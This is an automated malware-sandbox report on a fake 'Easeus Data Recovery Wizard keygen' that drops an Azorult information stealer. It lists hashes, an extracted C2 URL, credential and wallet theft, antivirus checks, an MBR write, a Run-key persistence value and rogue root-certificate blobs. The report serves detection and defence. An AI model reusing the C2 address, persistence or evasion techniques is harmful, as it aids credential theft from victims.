Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
06/04/2021, 13:50
210406-gc51ndzsc2 1026/03/2021, 23:40
210326-d1ybrjhevx 1013/03/2021, 17:16
210313-8s7b52z63e 1005/03/2021, 14:52
210305-34k3zj54f2 1001/03/2021, 13:17
210301-naamxpgf4e 1028/02/2021, 20:46
210228-6q3b959xae 1028/02/2021, 20:15
210228-mbr268za12 1028/02/2021, 18:32
210228-h944b5cpxa 1028/02/2021, 15:10
210228-hnwwpyjy7j 10Analysis
-
max time kernel
61s -
max time network
60s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
28/02/2021, 18:32
Static task
static1
Behavioral task
behavioral1
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win7v20201028
General
-
Target
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
-
Size
9.2MB
-
MD5
b806267b5f3b7760df56396b1cf05e6d
-
SHA1
5166d4c1d3e476281d9e991eababc3e4aa9ec5ad
-
SHA256
f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783
-
SHA512
30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Nirsoft 6 IoCs
resource yara_rule behavioral1/files/0x000100000001ab9a-82.dat Nirsoft behavioral1/files/0x000100000001ab9a-81.dat Nirsoft behavioral1/files/0x000200000001abb9-103.dat Nirsoft behavioral1/files/0x000200000001abb9-104.dat Nirsoft behavioral1/files/0x000300000001abc3-136.dat Nirsoft behavioral1/files/0x000300000001abc3-135.dat Nirsoft -
Executes dropped EXE 23 IoCs
pid Process 1520 keygen-pr.exe 1112 keygen-step-1.exe 2108 keygen-step-3.exe 3080 keygen-step-4.exe 3584 key.exe 2132 Setup.exe 2096 26FF190E7AE0F7C7.exe 2616 26FF190E7AE0F7C7.exe 1156 Install.exe 3728 multitimer.exe 3144 file.exe 3008 1614540972327.exe 4024 D92F.tmp.exe 3096 D92F.tmp.exe 3964 multitimer.exe 4032 1614540977515.exe 4164 multitimer.exe 4252 md2_2efs.exe 4628 BTRSetp.exe 4708 1614540983405.exe 4800 7509833.82 4832 4469247.49 4892 askinstall20.exe -
resource yara_rule behavioral1/files/0x0002000000015614-31.dat office_xlm_macros -
resource yara_rule behavioral1/files/0x000100000001ab82-120.dat upx behavioral1/files/0x000100000001ab82-119.dat upx -
Loads dropped DLL 1 IoCs
pid Process 2192 MsiExec.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\rat2csz3e3v = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\7712W8AXTQ\\multitimer.exe\" 1 3.1614537163.603be1cb0d8c6" multitimer.exe -
Checks for any installed AV software in registry 1 TTPs 53 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 44 api.ipify.org 86 ipinfo.io -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 2132 Setup.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2096 set thread context of 3592 2096 26FF190E7AE0F7C7.exe 104 PID 4024 set thread context of 3096 4024 D92F.tmp.exe 112 PID 2096 set thread context of 3468 2096 26FF190E7AE0F7C7.exe 113 PID 2096 set thread context of 4688 2096 26FF190E7AE0F7C7.exe 122 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 5376 4052 WerFault.exe 131 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 D92F.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString D92F.tmp.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
Kills process with taskkill 1 IoCs
pid Process 3260 taskkill.exe -
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc file.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe -
Runs ping.exe 1 TTPs 4 IoCs
pid Process 4076 PING.EXE 3580 PING.EXE 732 PING.EXE 4312 PING.EXE -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 88 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3008 1614540972327.exe 3008 1614540972327.exe 3144 file.exe 3144 file.exe 3096 D92F.tmp.exe 3096 D92F.tmp.exe 4032 1614540977515.exe 4032 1614540977515.exe 3144 file.exe 3144 file.exe 3144 file.exe 3144 file.exe 3144 file.exe 3144 file.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe 4164 multitimer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2288 msiexec.exe Token: SeIncreaseQuotaPrivilege 2288 msiexec.exe Token: SeSecurityPrivilege 3232 msiexec.exe Token: SeCreateTokenPrivilege 2288 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2288 msiexec.exe Token: SeLockMemoryPrivilege 2288 msiexec.exe Token: SeIncreaseQuotaPrivilege 2288 msiexec.exe Token: SeMachineAccountPrivilege 2288 msiexec.exe Token: SeTcbPrivilege 2288 msiexec.exe Token: SeSecurityPrivilege 2288 msiexec.exe Token: SeTakeOwnershipPrivilege 2288 msiexec.exe Token: SeLoadDriverPrivilege 2288 msiexec.exe Token: SeSystemProfilePrivilege 2288 msiexec.exe Token: SeSystemtimePrivilege 2288 msiexec.exe Token: SeProfSingleProcessPrivilege 2288 msiexec.exe Token: SeIncBasePriorityPrivilege 2288 msiexec.exe Token: SeCreatePagefilePrivilege 2288 msiexec.exe Token: SeCreatePermanentPrivilege 2288 msiexec.exe Token: SeBackupPrivilege 2288 msiexec.exe Token: SeRestorePrivilege 2288 msiexec.exe Token: SeShutdownPrivilege 2288 msiexec.exe Token: SeDebugPrivilege 2288 msiexec.exe Token: SeAuditPrivilege 2288 msiexec.exe Token: SeSystemEnvironmentPrivilege 2288 msiexec.exe Token: SeChangeNotifyPrivilege 2288 msiexec.exe Token: SeRemoteShutdownPrivilege 2288 msiexec.exe Token: SeUndockPrivilege 2288 msiexec.exe Token: SeSyncAgentPrivilege 2288 msiexec.exe Token: SeEnableDelegationPrivilege 2288 msiexec.exe Token: SeManageVolumePrivilege 2288 msiexec.exe Token: SeImpersonatePrivilege 2288 msiexec.exe Token: SeCreateGlobalPrivilege 2288 msiexec.exe Token: SeCreateTokenPrivilege 2288 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2288 msiexec.exe Token: SeLockMemoryPrivilege 2288 msiexec.exe Token: SeIncreaseQuotaPrivilege 2288 msiexec.exe Token: SeMachineAccountPrivilege 2288 msiexec.exe Token: SeTcbPrivilege 2288 msiexec.exe Token: SeSecurityPrivilege 2288 msiexec.exe Token: SeTakeOwnershipPrivilege 2288 msiexec.exe Token: SeLoadDriverPrivilege 2288 msiexec.exe Token: SeSystemProfilePrivilege 2288 msiexec.exe Token: SeSystemtimePrivilege 2288 msiexec.exe Token: SeProfSingleProcessPrivilege 2288 msiexec.exe Token: SeIncBasePriorityPrivilege 2288 msiexec.exe Token: SeCreatePagefilePrivilege 2288 msiexec.exe Token: SeCreatePermanentPrivilege 2288 msiexec.exe Token: SeBackupPrivilege 2288 msiexec.exe Token: SeRestorePrivilege 2288 msiexec.exe Token: SeShutdownPrivilege 2288 msiexec.exe Token: SeDebugPrivilege 2288 msiexec.exe Token: SeAuditPrivilege 2288 msiexec.exe Token: SeSystemEnvironmentPrivilege 2288 msiexec.exe Token: SeChangeNotifyPrivilege 2288 msiexec.exe Token: SeRemoteShutdownPrivilege 2288 msiexec.exe Token: SeUndockPrivilege 2288 msiexec.exe Token: SeSyncAgentPrivilege 2288 msiexec.exe Token: SeEnableDelegationPrivilege 2288 msiexec.exe Token: SeManageVolumePrivilege 2288 msiexec.exe Token: SeImpersonatePrivilege 2288 msiexec.exe Token: SeCreateGlobalPrivilege 2288 msiexec.exe Token: SeCreateTokenPrivilege 2288 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2288 msiexec.exe Token: SeLockMemoryPrivilege 2288 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2288 msiexec.exe -
